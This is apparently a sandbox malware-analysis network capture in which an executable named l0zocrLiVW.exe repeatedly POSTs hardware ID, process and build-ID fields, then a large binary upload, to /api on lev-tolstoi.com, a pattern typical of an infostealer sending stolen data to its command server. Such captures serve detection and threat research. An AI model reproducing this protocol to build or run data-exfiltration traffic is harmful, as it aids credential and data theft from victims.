eF7BpMu4n78/5pv8APf/5z55hSQABAlZ6PeI6MDeGlcjK5rnhviGvynm2r9Kt7ekLGuCQm5wUQu9o9atztIsFD5nzrLehqrqcqiTu0608el6Z4UkaRZDBrzskPbOgw0cI2yCiob4jL8p5qi/Vqu2sSsl439XUFECrLGY9J+WQ09nJYKx2fjMryP9yO8P9eO4dHGFahAOAUL7spjin9cNGjRozLbaqpL8Z6XagmaAvKo/ZsJCbndYHLav34ThpxI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49716	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:17 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SO4GGL7TB43JY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: lev-tolstoi.com
2024-12-28 09:03:17 UTC	12835	OUT	Data Raw: 2d 2d 53 4f 34 47 47 4c 37 54 42 34 33 4a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 42 31 45 37 43 30 31 35 35 46 45 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 53 4f 34 47 47 4c 37 54 42 34 33 4a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 4f 34 47 47 4c 37 54 42 34 33 4a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 53 4f 34 47 47 Data Ascii: --SO4GGL7TB43JYContent-Disposition: form-data; name="hwid"BF8B1E7C0155FE5EBEBA0C6A975F1733--SO4GGL7TB43JYContent-Disposition: form-data; name="pid"2--SO4GGL7TB43JYContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--SO4GG
2024-12-28 09:03:18 UTC	1126	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8mel9gsjd80q0kspnvor3cfu9q; expires=Wed, 23 Apr 2025 02:49:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=avo8IC01SVdr2BG9pEqFw3LAFJQXckdQf0TWA2oZB62aSEkWvphH7ITMbqLdjZ2neq1KcEayPs%2FlzmmDFJmn8fSuAGnMF20NRFArrJ0Ql96rxfogph9yg800MsnI0dwFF%2Fs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9060560a35436c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1678&rtt_var=640&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2834&recv_bytes=13769&delivery_rate=1696687&cwnd=228&unsent_bytes=0&cid=74d87093df2c9313&ts=1306&x=0"
2024-12-28 09:03:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:03:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49723	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:19 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LMPRGL85N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15057 Host: lev-tolstoi.com
2024-12-28 09:03:19 UTC	15057	OUT	Data Raw: 2d 2d 4c 4d 50 52 47 4c 38 35 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 42 31 45 37 43 30 31 35 35 46 45 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 4d 50 52 47 4c 38 35 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 4d 50 52 47 4c 38 35 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 4d 50 52 47 4c 38 35 4e 0d 0a 43 6f 6e 74 65 6e Data Ascii: --LMPRGL85NContent-Disposition: form-data; name="hwid"BF8B1E7C0155FE5EBEBA0C6A975F1733--LMPRGL85NContent-Disposition: form-data; name="pid"2--LMPRGL85NContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--LMPRGL85NConten
2024-12-28 09:03:20 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3e6b6s5a4an9sdmb6f0jqkir7k; expires=Wed, 23 Apr 2025 02:49:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F8s08eW3B1Cm8VeFkCB%2BiUVqwBxDAIFZgDhydMzx2jgj9QhpLOFBgmUkir%2B1gbJJ6Lt9ohThwbMgqFXlUmXtIBt52qvf0PXQclCqEPMfjchck%2B%2FI3BQ%2BPEL%2FJuioOz9dM7M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9060667fc643ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1684&rtt_var=643&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15987&delivery_rate=1686886&cwnd=216&unsent_bytes=0&cid=186ea4d4bdbd5ad1&ts=983&x=0"
2024-12-28 09:03:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:03:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49733	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:22 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0QCTR26HPGXZQDGTNIL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19975 Host: lev-tolstoi.com
2024-12-28 09:03:22 UTC	15331	OUT	Data Raw: 2d 2d 30 51 43 54 52 32 36 48 50 47 58 5a 51 44 47 54 4e 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 42 31 45 37 43 30 31 35 35 46 45 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 51 43 54 52 32 36 48 50 47 58 5a 51 44 47 54 4e 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 51 43 54 52 32 36 48 50 47 58 5a 51 44 47 54 4e 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --0QCTR26HPGXZQDGTNILContent-Disposition: form-data; name="hwid"BF8B1E7C0155FE5EBEBA0C6A975F1733--0QCTR26HPGXZQDGTNILContent-Disposition: form-data; name="pid"3--0QCTR26HPGXZQDGTNILContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-28 09:03:22 UTC	4644	OUT	Data Raw: a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee Data Ascii: 1U2+?2+?2+?o?Mp5
2024-12-28 09:03:23 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i4ssf7qh1gflp3rnb0ch56ogsg; expires=Wed, 23 Apr 2025 02:50:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cdwfLuYL4X7jzX2RSDE8J8QoIJ%2FF5%2BrXGtCgzdtOOIca067n1QJlvstbOVmIeck%2FCE76uG6HiIlknk%2FqVc0u0wif5WIidoWtzmhr7IeVPhvQsW12j7kpCnhfZM8TMLXe4b8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9060760dbe0f3d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1645&rtt_var=660&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2834&recv_bytes=20937&delivery_rate=1775075&cwnd=131&unsent_bytes=0&cid=7a6ecf58f9fa7be5&ts=1035&x=0"
2024-12-28 09:03:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49742	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:25 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5CVAHS1FNXDG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1211 Host: lev-tolstoi.com
2024-12-28 09:03:25 UTC	1211	OUT	Data Raw: 2d 2d 35 43 56 41 48 53 31 46 4e 58 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 42 31 45 37 43 30 31 35 35 46 45 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 35 43 56 41 48 53 31 46 4e 58 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 43 56 41 48 53 31 46 4e 58 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 43 56 41 48 53 31 46 Data Ascii: --5CVAHS1FNXDGContent-Disposition: form-data; name="hwid"BF8B1E7C0155FE5EBEBA0C6A975F1733--5CVAHS1FNXDGContent-Disposition: form-data; name="pid"1--5CVAHS1FNXDGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5CVAHS1F
2024-12-28 09:03:25 UTC	1126	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p07dc9kuhabd7tnf19pgq8h5ln; expires=Wed, 23 Apr 2025 02:50:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqG99UBlumb4twgJ2tm%2Bv%2ByC2fZoblPmppndfwYMb8kpZGKx4wN2wvn7oK6sAYD5S24RqtS9SgmTK4wIgAFVPv0G9mcVWeQ%2BV09LHD6wNdcJA9CMY%2FUQCbo2tFiuaMgDfDg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f90608728b48cad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2027&min_rtt=2016&rtt_var=779&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2121&delivery_rate=1385199&cwnd=246&unsent_bytes=0&cid=959920a66f0384aa&ts=806&x=0"
2024-12-28 09:03:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:03:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49735	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 38 2b 2f 65 70 34 6d 55 30 6d 37 45 71 74 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 30 33 61 62 33 64 34 30 32 30 31 34 61 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: L8+/ep4mU0m7EqtP.1Context: 9603ab3d402014ad
2024-12-28 09:03:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 38 2b 2f 65 70 34 6d 55 30 6d 37 45 71 74 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 30 33 61 62 33 64 34 30 32 30 31 34 61 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: L8+/ep4mU0m7EqtP.2Context: 9603ab3d402014ad<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 38 2b 2f 65 70 34 6d 55 30 6d 37 45 71 74 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 30 33 61 62 33 64 34 30 32 30 31 34 61 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: L8+/ep4mU0m7EqtP.3Context: 9603ab3d402014ad<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:03:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 37 31 65 30 33 69 76 55 55 4b 4f 50 65 64 6f 38 48 31 35 67 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: q71e03ivUUKOPedo8H15gw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49748	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:27 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PP12LGEB3YMQPQ1FA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572884 Host: lev-tolstoi.com
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: 2d 2d 50 50 31 32 4c 47 45 42 33 59 4d 51 50 51 31 46 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 42 31 45 37 43 30 31 35 35 46 45 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 50 50 31 32 4c 47 45 42 33 59 4d 51 50 51 31 46 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 50 31 32 4c 47 45 42 33 59 4d 51 50 51 31 46 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --PP12LGEB3YMQPQ1FAContent-Disposition: form-data; name="hwid"BF8B1E7C0155FE5EBEBA0C6A975F1733--PP12LGEB3YMQPQ1FAContent-Disposition: form-data; name="pid"1--PP12LGEB3YMQPQ1FAContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: c7 ae a7 1b 03 9c 24 55 8b 7b 6b e4 31 34 71 63 2e a9 08 28 0a 80 72 17 04 a5 86 97 9d 45 04 5c 26 b2 2e 78 24 a9 ba a5 09 05 f1 3f 14 30 7e e0 46 9d ce 24 44 62 c8 7c d4 b7 41 85 ad 7c 89 90 96 16 eb 0a 23 44 46 c8 40 25 f1 64 94 5e 2b cf 77 17 9b 8e 2c 52 81 02 b8 b6 6a 2d 1b 71 40 4b a0 d9 36 88 8f 45 8a 1b be 8d 1f 0a ab e8 41 d5 d8 0c 5a 67 56 da f1 b6 8e cb 19 c9 ae bd 44 13 d2 43 f5 b7 ca 95 f7 49 3f ac d8 06 d3 60 7c aa db 8a 12 e5 1d c7 b7 8b e7 f6 11 24 f0 ac 7e 95 43 58 1a fd 92 97 f0 47 fb b2 7d 19 71 30 6a ac 0b 61 ff f1 14 01 5e 9d 76 55 2d 59 cb 51 45 fb bb 7a 37 d9 49 6e b0 7f f7 8d ec 07 d7 da 38 03 37 d2 37 eb 54 5a 26 6d 28 57 cd 4f e0 56 49 71 bc 87 1a c7 1d 52 dc 2e f4 86 19 a5 22 ab c1 56 5b f4 79 7d 7a e0 9e 98 cd ab 69 e9 12 21 54 Data Ascii: $U{k14qc.(rE\&.x$?0~F$Db\|A\|#DF@%d^+w,Rj-q@K6EAZgVDCI?`\|$~CXG}q0ja^vU-YQEz7In877TZ&m(WOVIqR."V[y}zi!T
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: 97 ca fa f8 a6 78 3e d2 5c d5 af 3d 64 7e 65 be 94 be d9 3c df e0 5d f3 b3 44 25 f9 29 2f ec 48 7e a6 8b 5e 2c 9f 1c ec 2f 76 1b 6a 2a 1d f6 52 f5 0c 6a d7 2f 37 c0 03 22 fd df f0 2f b3 7a 66 65 c3 e1 0f 6e 2c dc 0d f0 f7 19 7f 54 b7 cb e0 56 3f 0e 03 73 2a 95 99 87 ed 89 3d 54 46 dd ee b8 63 20 3b d1 53 8d 4a 15 c4 ac 5b a3 85 70 db 02 04 de ab 0e 4c f8 3d ce 62 c8 32 d7 bc a7 a7 76 52 b3 03 4e 3c 68 5f a5 f8 26 14 be a7 23 44 73 2b a8 a7 e4 dc 65 c9 40 8d 75 a8 30 00 ff cc 16 b7 91 c2 46 f3 10 b4 d0 82 db 1a 02 05 d2 94 de 23 20 d6 90 d1 64 9b fa ba cf 88 f0 26 a8 82 37 36 eb c7 37 ef ad 9c c7 77 db fd 55 fc 86 cc d6 ed 7f dc aa 3d 5f f4 8a 15 b6 db 32 5f 9c d0 7b 70 31 07 cc ff 79 77 e7 c9 c7 30 c6 b0 6e a2 da 20 b7 5f e0 f3 6b 02 a8 b1 b1 ae 76 0c 3c Data Ascii: x>\=d~e<]D%)/H~^,/vjRj/7"/zfen,TV?s=TFc ;SJ[pL=b2vRN<h_&#Ds+e@u0F# d&767wU=_2_{p1yw0n _kv<
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: ce 3e f9 9f 11 1d 9c b8 7c b8 67 20 e9 ea 7e 3a 50 d6 b3 c2 d1 93 1e 90 06 c8 7f 62 3a c5 19 6d 97 b7 32 db 73 69 3b 45 b3 4b 36 08 e1 ab eb 57 12 bf 6d 59 f7 3e ba e7 3e 45 3f 43 2b 21 2f af ec ca 4c 6f c6 f0 fd a8 ff a1 07 8a 5a 8b 34 e8 e4 94 fa 8c 5f 7b 0f e0 49 f1 26 85 a7 9c bc f7 fe 06 9e cf e7 85 b1 58 e0 3f ed 56 e6 f3 75 39 d6 ed 8f e1 04 c7 61 33 4f 46 b9 48 e0 43 84 55 a7 71 30 b8 10 93 b4 4c ae ae 12 8e b6 7f 5f db 9a c1 0e 7b 1d 9e 5d 8c be c5 11 7d a5 78 7f 66 78 70 a3 af eb 99 ae 5d 95 2e f3 d1 ad 93 7d 2e 4c 26 f1 5a e6 2f 91 20 17 39 a6 0b a0 48 6c 91 b9 0d ff 08 d8 59 fc ae d7 e7 6d 6e 0d 4d c0 58 67 62 c9 9a e7 2f 86 da b4 6b 25 84 50 b6 77 f9 43 0d 43 ab 16 23 c7 90 b8 e8 e6 15 41 36 63 11 f5 e8 e8 44 fb d7 f3 e9 0e 18 3b d9 47 f5 4e Data Ascii: >\|g ~:Pb:m2si;EK6WmY>>E?C+!/LoZ4_{I&X?Vu9a3OFHCUq0L_{]}xfxp].}.L&Z/ 9HlYmnMXgb/k%PwCC#A6cD;GN
